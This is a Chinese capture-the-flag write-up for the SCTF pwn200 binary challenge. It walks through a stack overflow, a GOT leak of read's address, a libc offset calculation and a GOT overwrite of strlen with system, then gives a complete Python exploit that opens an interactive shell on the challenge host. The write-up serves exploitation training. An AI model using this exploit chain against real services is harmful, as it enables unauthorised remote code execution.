• sctf pwn200


      题目给出了pwn200和libc.so。使用IDA查看程序,发现逻辑很简单。

      使用checksec查看pwn200的安全属性,如下图:

      

      发现NX enabled,No PIE。

      在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构:

      发现可以将nbytes覆盖,可以覆盖为0xff。

      在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call    _write”,并且构造栈参数(为了泄露库函数的虚拟地址)。如下:

      这样程序一返回(080485C1 retn)就执行write库函数,通过GOT泄露出某个库函数(这里可以泄露read的虚拟地址)的虚拟地址,从而通过IDA查看libc.so中system的位置和read的位置差,可以计算出system的虚拟地址。

      紧接着会第三次读(0x08048524位置),这个读到内存的位置是:ebp+buf即ebp-0x1C,那么我们可以通过在第二次读的时候构造理想的ebp,使得我们能够将覆盖GOT中strlen库函数的虚拟地址,覆盖为system的虚拟地址;同时,将buf开始处存储/bin/sh。这样在进行接下来的strlen函数调用时,相当于执行system("/bin/sh"),因此获得shell。

      exploit是来自http://www.imsebao.com/。思路很清晰,我稍加注释。

    from socket import *
    from struct import *
    import time
    
    #remote
    '''
    readOffset = 0x000de3a0
    systOffset = 0x0003f430
    '''
    #local
    readOffset = 0x000bdd20
    systOffset = 0x00039100
    
    param = '/bin/shx00' + 'ls home' + 'a'*5#'ls home' and 'a'*5 are paddings so that to override 0x08049858
    #0x08049858 is strlen's address
     
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(('192.168.200.7', 10001))
    #construct name,override nbytes to xff 
    name = 'syclover'+ 'x00' + 'abcdefg' + 'xFF'
    # input name:
    print s.recv(1024)
    s.send(name)
     
    showReadGot = 'A'*156
    showReadGot += pack('<I', 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst
    showReadGot += pack('<I', 0x08048507)#override ret to call write
    showReadGot += pack('<I', 1)#stdout
    showReadGot += pack('<I', 0x08049850)#src,read's got
    showReadGot += pack('<I', 4)#num
    # input slogan:
    print s.recv(1024)
    s.send(showReadGot)
    
    read = s.recv(1024)[-4:]#leak read's virtual address in process
    viraddr_read = unpack('<I', read)[0]
    print 'viraddr_read: %x' % viraddr_read
    syst = viraddr_read - readOffset + systOffset
    print 'system: %x' % syst
     
    exploit = param + pack('<I', syst)
    s.send(exploit)
     
    while True:
        s.send(raw_input('$ ') + '
    ')
        time.sleep(0.5)
        print s.recv(1024)

       总体思路,信息泄露(通过write)获取system的线性地址;任意地址写(通过read)修改GOT中strlen库函数的地址为system的线性地址。

  • 相关阅读:
    maven问题
    用例图中三种关系详解(转)
    UML系列图--用例图
    Visio画UML用例图没有include关系的解决方法
    Linux中环境变量文件及配置
    如何开启ubuntu的SSH服务(不要和openssl搞混淆了)
    linux下的gedit命令使用方法与技巧
    ubuntu安装mysql5.7
    通过 HTTP 头进行 SQL 注入
    Redis各种数据结构内存占用测试
  • 原文地址:https://www.cnblogs.com/wangaohui/p/4392488.html
Copyright © 2020-2023  润新知